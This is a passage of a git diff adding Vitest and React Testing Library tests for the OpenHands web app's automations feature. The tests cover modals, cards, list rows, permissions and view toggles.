+  useSettings: () => ({ data: { user_consents_to_analytics: true } }),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+  Trans: ({
+    i18nKey,
+    components,
+    children,
+  }: {
+    i18nKey: string;
+    components?: Record<string, React.ReactElement>;
+    children?: React.ReactNode;
+  }) => {
+    if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) {
+      return children ?? i18nKey;
+    }
+
+    return (
+      <>
+        Start a new conversation and tell OpenHands to{" "}
+        {components?.example
+          ? React.cloneElement(
+              components.example,
+              {},
+              <>
+                {components.cmd
+                  ? React.cloneElement(
+                      components.cmd,
+                      {},
+                      "Create an automation",
+                    )
+                  : null}
+                {components.punct
+                  ? React.cloneElement(components.punct, {}, ".")
+                  : null}
+              </>,
+            )
+          : null}
+      </>
+    );
+  },
+}));
+
+function renderModal(isOpen = true) {
+  const onClose = vi.fn();
+  const navigation: NavigationContextValue = {
+    currentPath: "/automations",
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+  };
+
+  render(
+    <NavigationProvider value={navigation}>
+      <AddAutomationModal isOpen={isOpen} onClose={onClose} />
+    </NavigationProvider>,
+  );
+
+  return { onClose };
+}
+
+describe("AddAutomationModal", () => {
+  it("renders the create instructions content when open", () => {
+    renderModal();
+
+    expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("automations-create-instructions-example"),
+    ).toHaveTextContent("Create an automation");
+    expect(
+      screen.getByTestId("automations-create-automation"),
+    ).toHaveTextContent(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON);
+    expect(
+      screen.queryByText(I18nKey.AUTOMATIONS$EMPTY_OPTION_PLUGIN_TITLE),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not render when closed", () => {
+    renderModal(false);
+
+    expect(screen.queryByTestId("add-automation-modal")).not.toBeInTheDocument();
+  });
+
+  it("calls onClose when the close button is clicked", async () => {
+    const user = userEvent.setup();
+    const { onClose } = renderModal();
+
+    await user.click(screen.getByTestId("add-automation-modal-close"));
+
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/automations/automation-card.test.tsx b/__tests__/components/automations/automation-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5f6a03118a99c4cc3c96cd51aee7ca009b38b28c
--- /dev/null
+++ b/__tests__/components/automations/automation-card.test.tsx
@@ -0,0 +1,368 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { http, HttpResponse } from "msw";
+import { AutomationCard } from "#/components/features/automations/automation-card";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+import { useAutomationRunSummaries } from "#/hooks/query/use-automation-run-summaries";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import { server } from "#/mocks/node";
+import { I18nKey } from "#/i18n/declaration";
+import type { InterfaceListInsights } from "#/manifests/types";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+    i18n: { language: "en" },
+  }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+vi.mock("#/hooks/use-automation-permissions", () => ({
+  useAutomationPermissions: () => ({
+    canView: true,
+    canManage: true,
+    isLoading: false,
+  }),
+  useIsAutomationOwner: () => true,
+}));
+
+// The pinned package predates the `impact` field, so an entry carrying one is
+// appended to the real catalog.
+vi.mock("@openhands/extensions/automations", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("@openhands/extensions/automations")>();
+  return {
+    ...actual,
+    AUTOMATION_CATALOG: [
+      ...actual.AUTOMATION_CATALOG,
+      {
+        id: "widget-checker",
+        impact: {
+          basis: "completed-runs",
+          one: "1 widget check completed",
+          other: "{{count}} widget checks completed",
+        },
+      },
+    ] as typeof actual.AUTOMATION_CATALOG,
+  };
+});
+
+const automation: Automation = {
+  id: "automation-1",
+  name: "Async Standup Digest",
+  prompt: "Generate an async standup digest from Slack activity.",
+  enabled: true,
+  trigger: { type: "cron", schedule_human: "Mondays at 09:00" },
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+const insightsSpec = {
+  health: {
+    healthy: "Healthy",
+    failing: "Failing",
+    running: "Running",
+    disabled: "Disabled",
+    neverRun: "Never run",
+    checking: "Checking",
+  },
+  lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+  stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" },
+};
+
+function createRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:02:00Z",
+    ...overrides,
+  };
+}
+
+describe("AutomationCard", () => {
+  it("uses the shared extension module interactive class without a resting border", () => {
+    render(
+      <AutomationCard
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+      />,
+    );
+
+    const card = screen.getByTestId("automation-card-automation-1");
+    expect(card.className).toContain("extension-module-card-interactive");
+    expect(card.className).toContain("bg-base-secondary");
+    expect(card.className).not.toContain("border-[var(--oh-border)]");
+  });
+
+  it("renders title, description, and overflow pills", () => {
+    render(
+      <AutomationCard
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByText("Async Standup Digest")).toBeInTheDocument();
+    expect(
+      screen.getByText("Generate an async standup digest from Slack activity."),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Mondays at 09:00")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-pills-automation-1"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders a play run button and menu actions instead of a toggle switch", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <AutomationCard
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("automation-run-now-automation-1"),
+    ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW");
+    expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass(
+      "size-8",
+    );
+    expect(screen.queryByRole("switch")).not.toBeInTheDocument();
+
+    await user.click(
+      screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+    );
+
+    expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument();
+    expect(screen.getByText("AUTOMATIONS$RUN_NOW")).toBeInTheDocument();
+  });
+
+  it("shows a status strip and sparkline when insights are present", () => {
+    const latestRun = createRun({
+      started_at: new Date(Date.now() - 10 * 60_000).toISOString(),
+      completed_at: new Date(Date.now() - 8 * 60_000).toISOString(),
+    });
+
+    render(
+      <AutomationCard
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+        insights={{
+          spec: insightsSpec satisfies InterfaceListInsights,
+          state: {
+            summary: {
+              total: 4,
+              completedTotal: 4,
+              latestRun,
+              recentRuns: [latestRun],
+              recentSuccessRate: 1,
+              averageDurationMs: 120_000,
+            },
+            isLoading: false,
+            isError: false,
+          },
+        }}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("automation-health-badge"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-last-run-automation-1"),
+    ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO");
+    expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-activity-automation-1"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("automation-run-stats")).toBeInTheDocument();
+    expect(screen.getByText("4")).toBeInTheDocument();
+    expect(screen.getByText("100%")).toBeInTheDocument();
+  });
+
+  it("shows the value statement for its completed runs", () => {
+    // Arrange — provenance joining back to a catalog entry with an impact
+    // declaration, and a summary carrying the lifetime completed count.
+    const latestRun = createRun();
+
+    // Act
+    render(
+      <AutomationCard
+        automation={{
+          ...automation,
+          preset_metadata: {
+            template: { id: "widget-checker", version: "1.0.0", config: {} },
+          },
+        }}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+        insights={{
+          spec: insightsSpec satisfies InterfaceListInsights,
+          state: {
+            summary: {
+              total: 5,
+              completedTotal: 4,
+              latestRun,
+              recentRuns: [latestRun],
+              recentSuccessRate: 1,
+              averageDurationMs: 120_000,
+            },
+            isLoading: false,
+            isError: false,
+          },
+        }}
+      />,
+    );
+
+    // Assert
+    expect(
+      screen.getByTestId("automation-impact-automation-1"),
+    ).toHaveTextContent("4 widget checks completed");
+  });
+});
+
+describe("AutomationCard — run phase", () => {
+  const localBackend: Backend = {
+    id: "local-1",
+    name: "Local 1",
+    host: "http://localhost:8000",
+    apiKey: "k",
+    kind: "local",
+  };
+
+  const insightAutomation: Automation = {
+    id: "auto-with-active-run",
+    name: "Digest",
+    prompt: null,
+    enabled: true,
+    trigger: { type: "cron", schedule_human: "cron" },
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+  };
+
+  const insightsSpec: InterfaceListInsights = {
+    health: {
+      healthy: "Healthy",
+      failing: "Failing",
+      running: "Running",
+      disabled: "Disabled",
+      neverRun: "Never run",
+      checking: "Checking",
+    },
+    lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+    stats: {
+      runs: "Runs",
+      recentSuccess: "Success",
+      averageDuration: "Duration",
+    },
+  };
+
+  beforeEach(() => {
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  function Harness() {
+    const byId = useAutomationRunSummaries([insightAutomation]);
+    return (
+      <AutomationCard
+        automation={insightAutomation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+        insights={{ spec: insightsSpec, state: byId.get(insightAutomation.id) }}
+      />
+    );
+  }
+
+  function renderHarness() {
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+    return render(
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>
+          <Harness />
+        </ActiveBackendProvider>
+      </QueryClientProvider>,
+    );
+  }
+
+  it("shows the active run's phase using only the run-summaries fetch insights already makes — no extra request", async () => {
+    // Arrange: count every hit to the runs endpoint the card's insights
+    // already fetch (via useAutomationRunSummaries) — if displaying the
+    // phase required a second request, this would be > 1.
+    let callCount = 0;
+    server.use(
+      http.get("*/api/automation/v1/:id/runs", () => {
+        callCount += 1;
+        return HttpResponse.json({
+          runs: [
+            {
+              id: "run-active",
+              status: AutomationRunStatus.RUNNING,
+              conversation_id: null,
+              bash_command_id: null,
+              error_detail: null,
+              phase_code: "running_agent",
+              phase_label: null,
+              phase_updated_at: null,
+              started_at: "2026-01-01T09:00:00Z",
+              completed_at: null,
+            },
+          ],
+          total: 1,
+        });
+      }),
+    );
+
+    // Act
+    renderHarness();
+
+    // Assert: the phase renders ...
+    await screen.findByText(I18nKey.AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT);
+    // ... and exactly one request was made — the pre-existing insights
+    // fetch, not a new one just for the phase.
+    expect(callCount).toBe(1);
+  });
+});
diff --git a/__tests__/components/automations/automation-list-row.permissions.test.tsx b/__tests__/components/automations/automation-list-row.permissions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5802bbc4ffdc1d17811d7b537b9c400793f640b7
--- /dev/null
+++ b/__tests__/components/automations/automation-list-row.permissions.test.tsx
@@ -0,0 +1,145 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  getCloudOrganizationMe,
+  getCloudOrganizations,
+} from "#/api/cloud/organization-service.api";
+import { AutomationListRow } from "#/components/features/automations/automation-list-row";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+// `automation-list-row.test.tsx` mocks the permission hooks wholesale. These
+// tests run the real hooks against a mocked `/me` service so the
+// creator-vs-manager rule for the enabled toggle is exercised end to end.
+vi.mock("#/api/cloud/organization-service.api", async (importOriginal) => ({
+  ...(await importOriginal<
+    typeof import("#/api/cloud/organization-service.api")
+  >()),
+  getCloudOrganizations: vi.fn(),
+  getCloudOrganizationMe: vi.fn(),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+const ORG_ID = "org-1";
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+function makeAutomation(overrides: Partial<Automation> = {}): Automation {
+  return {
+    id: "auto-1",
+    name: "Teammate digest",
+    prompt: "Summarize",
+    trigger: {
+      type: "cron",
+      schedule: "0 9 * * *",
+      schedule_human: "Daily at 09:00",
+    },
+    enabled: true,
+    user_id: "creator-user",
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function renderRow(automation: Automation) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <AutomationListRow
+          automation={automation}
+          onToggle={vi.fn()}
+          onRunNow={vi.fn()}
+          onExport={vi.fn()}
+          onDelete={vi.fn()}
+        />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+async function openActionsMenu(user: ReturnType<typeof userEvent.setup>) {
+  // Run now only renders once the caller's permissions have resolved.
+  await screen.findByTestId("automation-run-now-auto-1");
+  await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  setActiveSelection({ backendId: cloudBackend.id, orgId: ORG_ID });
+  vi.mocked(getCloudOrganizations).mockResolvedValue({
+    items: [],
+    currentOrgId: null,
+  });
+  // A manager (has manage_automations) who did not create the automation.
+  vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+    orgId: ORG_ID,
+    userId: "manager-user",
+    role: "admin",
+    permissions: ["view_automations", "manage_automations"],
+  });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AutomationListRow — non-creator manager", () => {
+  it("offers Turn off and Delete on an enabled automation", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderRow(makeAutomation({ enabled: true }));
+
+    // Act
+    await openActionsMenu(user);
+
+    // Assert
+    expect(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$TURN_OFF }),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+    ).toBeInTheDocument();
+  });
+
+  it("hides Turn on but keeps Delete on a disabled automation", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderRow(makeAutomation({ enabled: false }));
+
+    // Act
+    await openActionsMenu(user);
+
+    // Assert
+    expect(
+      screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$TURN_ON }),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/automation-list-row.test.tsx b/__tests__/components/automations/automation-list-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e2ff941fd4ff80eb95498b640b0742f2bec9e8d4
--- /dev/null
+++ b/__tests__/components/automations/automation-list-row.test.tsx
@@ -0,0 +1,225 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { AutomationListRow } from "#/components/features/automations/automation-list-row";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+import type { InterfaceListInsights } from "#/manifests/types";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+    i18n: { language: "en" },
+  }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+vi.mock("#/hooks/use-automation-permissions", () => ({
+  useAutomationPermissions: () => ({
+    canView: true,
+    canManage: true,
+    isLoading: false,
+  }),
+  useIsAutomationOwner: () => true,
+}));
+
+// The pinned package predates the `impact` field, so an entry carrying one is
+// appended to the real catalog.
+vi.mock("@openhands/extensions/automations", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("@openhands/extensions/automations")>();
+  return {
+    ...actual,
+    AUTOMATION_CATALOG: [
+      ...actual.AUTOMATION_CATALOG,
+      {
+        id: "widget-checker",
+        impact: {
+          basis: "completed-runs",
+          one: "1 widget check completed",
+          other: "{{count}} widget checks completed",
+        },
+      },
+    ] as typeof actual.AUTOMATION_CATALOG,
+  };
+});
+
+const automation: Automation = {
+  id: "automation-1",
+  name: "GitHub PR Reviewer",
+  prompt: "Review pull requests.",
+  enabled: true,
+  trigger: {
+    type: "event",
+    on: "pull_request.opened",
+    source: "github",
+  },
+  repository: "acme/repo",
+  model: "Claude",
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+const insightsSpec = {
+  health: {
+    healthy: "Healthy",
+    failing: "Failing",
+    running: "Running",
+    disabled: "Disabled",
+    neverRun: "Never run",
+    checking: "Checking",
+  },
+  lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+  stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" },
+};
+
+function createRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:02:00Z",
+    ...overrides,
+  };
+}
+
+describe("AutomationListRow", () => {
+  it("renders title, trigger meta, and action icons in a two-line list row", () => {
+    render(
+      <AutomationListRow
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("automation-list-row-automation-1"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("GitHub PR Reviewer")).toBeInTheDocument();
+    expect(screen.getByText("pull_request.opened")).toBeInTheDocument();
+    expect(screen.getByText("GitHub")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("automation-pills-automation-1"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-run-now-automation-1"),
+    ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW");
+    expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass(
+      "size-8",
+    );
+  });
+
+  it("shows last-run status, relative time, and a sparkline when insights are present", () => {
+    const latestRun = createRun({
+      started_at: new Date(Date.now() - 10 * 60_000).toISOString(),
+      completed_at: new Date(Date.now() - 8 * 60_000).toISOString(),
+    });
+
+    render(
+      <AutomationListRow
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+        insights={{
+          spec: insightsSpec satisfies InterfaceListInsights,
+          state: {
+            summary: {
+              total: 4,
+              completedTotal: 4,
+              latestRun,
+              recentRuns: [latestRun],
+              recentSuccessRate: 1,
+              averageDurationMs: 120_000,
+            },
+            isLoading: false,
+            isError: false,
+          },
+        }}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("automation-last-run-automation-1"),
+    ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO");
+    expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-activity-automation-1"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows the value statement in the meta line", () => {
+    // Arrange — provenance joining back to a catalog entry with an impact
+    // declaration, and a summary carrying the lifetime completed count.
+    const latestRun = createRun();
+
+    // Act
+    render(
+      <AutomationListRow
+        automation={{
+          ...automation,
+          preset_metadata: {
+            template: { id: "widget-checker", version: "1.0.0", config: {} },
+          },
+        }}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+        insights={{
+          spec: insightsSpec satisfies InterfaceListInsights,
+          state: {
+            summary: {
+              total: 5,
+              completedTotal: 4,
+              latestRun,
+              recentRuns: [latestRun],
+              recentSuccessRate: 1,
+              averageDurationMs: 120_000,
+            },
+            isLoading: false,
+            isError: false,
+          },
+        }}
+      />,
+    );
+
+    // Assert
+    expect(
+      screen.getByTestId("automation-impact-automation-1"),
+    ).toHaveTextContent("4 widget checks completed");
+  });
+
+  it("opens the actions menu without triggering row navigation handlers", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <AutomationListRow
+        automation={automation}
+        onToggle={vi.fn()}
+        onRunNow={vi.fn()}
+        onExport={vi.fn()}
+        onDelete={vi.fn()}
+      />,
+    );
+
+    await user.click(
+      screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+    );
+
+    expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/automation-view-toggle.test.tsx b/__tests__/components/automations/automation-view-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..96d103aa7dc3afaf378f4916df44f1522417017f
--- /dev/null
+++ b/__tests__/components/automations/automation-view-toggle.test.tsx
@@ -0,0 +1,46 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { AutomationViewToggle } from "#/components/features/automations/automation-view-toggle";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+describe("AutomationViewToggle", () => {
+  it("opens a menu from the icon trigger and switches to list view", async () => {
+    const user = userEvent.setup();
+    const onChange = vi.fn();
+
+    render(<AutomationViewToggle view="grid" onChange={onChange} />);
+
+    const trigger = screen.getByTestId("automations-view-toggle");
+    expect(trigger).toHaveClass("size-9");
+    expect(trigger).toHaveAttribute("aria-haspopup", "menu");
+
+    await user.click(trigger);
+    await user.click(screen.getByTestId("automations-view-toggle-list"));
+
+    expect(onChange).toHaveBeenCalledWith("list");
+  });
+
+  it("does not open the menu or fire onChange when disabled", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onChange = vi.fn();
+    render(
+      <AutomationViewToggle view="grid" onChange={onChange} disabled />,
+    );
+    const trigger = screen.getByTestId("automations-view-toggle");
+
+    // Act — try to open the menu
+    await user.click(trigger);
+
+    // Assert — menu items never render and onChange stays untouched
+    expect(trigger).toBeDisabled();
+    expect(
+      screen.queryByTestId("automations-view-toggle-list"),
+    ).not.toBeInTheDocument();
+    expect(onChange).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/automations/backend-not-configured.test.tsx b/__tests__/components/automations/backend-not-configured.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2259805c1e602bdea57ac21ea332b1cf76ce4a57
--- /dev/null
+++ b/__tests__/components/automations/backend-not-configured.test.tsx
@@ -0,0 +1,49 @@
+import { describe, it, expect, vi } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { BackendUnavailable } from "#/components/features/automations/backend-not-configured";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_TITLE]:
+          "Automations Unavailable",
+        [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_MESSAGE]:
+          "The automations backend is not available right now.",
+        [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_RETRY]: "Retry",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+describe("BackendUnavailable", () => {
+  it("renders the unavailable message", () => {
+    const onRetry = vi.fn();
+    render(<BackendUnavailable onRetry={onRetry} />);
+
+    expect(screen.getByText("Automations Unavailable")).toBeInTheDocument();
+    expect(
+      screen.getByText("The automations backend is not available right now."),
+    ).toBeInTheDocument();
+  });
+
+  it("displays the retry button", () => {
+    const onRetry = vi.fn();
+    render(<BackendUnavailable onRetry={onRetry} />);
+
+    const retryButton = screen.getByRole("button", { name: "Retry" });
+    expect(retryButton).toBeInTheDocument();
+  });
+
+  it("calls onRetry when retry button is clicked", () => {
+    const onRetry = vi.fn();
+    render(<BackendUnavailable onRetry={onRetry} />);
+
+    const retryButton = screen.getByRole("button", { name: "Retry" });
+    fireEvent.click(retryButton);
+
+    expect(onRetry).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/automations/build-automation-pills.test.tsx b/__tests__/components/automations/build-automation-pills.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..91a06dbe9df1e5e5919193131274e72df2236d7f
--- /dev/null
+++ b/__tests__/components/automations/build-automation-pills.test.tsx
@@ -0,0 +1,82 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { buildAutomationMetadataPills } from "#/components/features/automations/build-automation-pills";
+import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row";
+import type { Automation } from "#/types/automation";
+
+function buildAutomation(overrides: Partial<Automation> = {}): Automation {
+  return {
+    id: "automation-1",
+    name: "Triage",
+    prompt: "Triage the issue.",
+    enabled: true,
+    trigger: { type: "event", on: "issue.updated", source: "linear" },
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function renderPills(pills: SkillCardPill[]) {
+  render(
+    <div>
+      {pills.map((pill) => (
+        <span key={pill.id} data-testid={`pill-${pill.id}`}>
+          {pill.node}
+        </span>
+      ))}
+    </div>,
+  );
+}
+
+describe("buildAutomationMetadataPills", () => {
+  it("puts the event and source on separate pills", () => {
+    const pills = buildAutomationMetadataPills(buildAutomation(), "unused");
+
+    expect(pills.map((pill) => pill.id)).toEqual([
+      "event-trigger",
+      "event-source",
+    ]);
+
+    renderPills(pills);
+
+    expect(screen.getByTestId("pill-event-trigger")).toHaveTextContent(
+      "issue.updated",
+    );
+    expect(screen.getByTestId("pill-event-trigger")).not.toHaveTextContent(
+      "linear",
+    );
+    expect(screen.getByTestId("pill-event-source")).toHaveTextContent("Linear");
+    expect(screen.getByTestId("pill-event-source").firstElementChild).toHaveClass(
+      "py-0.5",
+    );
+    expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument();
+  });
+
+  it("renders a fallback icon when the source is not in the catalog", () => {
+    renderPills(
+      buildAutomationMetadataPills(
+        buildAutomation({
+          trigger: { type: "event", on: "alert.fired", source: "custom-pager" },
+        }),
+        "unused",
+      ),
+    );
+
+    expect(screen.getByTestId("pill-event-source")).toHaveTextContent(
+      "Custom-Pager",
+    );
+    expect(screen.getByTestId("automation-source-logo")).toBeInTheDocument();
+  });
+
+  it("omits the source pill when the event has no source", () => {
+    const pills = buildAutomationMetadataPills(
+      buildAutomation({
+        trigger: { type: "event", on: "pull_request.opened" },
+      }),
+      "unused",
+    );
+
+    expect(pills.map((pill) => pill.id)).toEqual(["event-trigger"]);
+  });
+});
diff --git a/__tests__/components/automations/create-instructions.test.tsx b/__tests__/components/automations/create-instructions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..85ba36936b5e9f81cfe3d033a61fd00a8e4b19db
--- /dev/null
+++ b/__tests__/components/automations/create-instructions.test.tsx
@@ -0,0 +1,123 @@
+import React from "react";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { CreateInstructions } from "#/components/features/automations/create-instructions";
+import { I18nKey } from "#/i18n/declaration";
+import { useConversationStore } from "#/stores/conversation-store";
+import * as telemetry from "#/services/telemetry";
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({ data: { user_consents_to_analytics: true } }),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON]: "Create Automation",
+        [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_PROMPT]: "Create an automation",
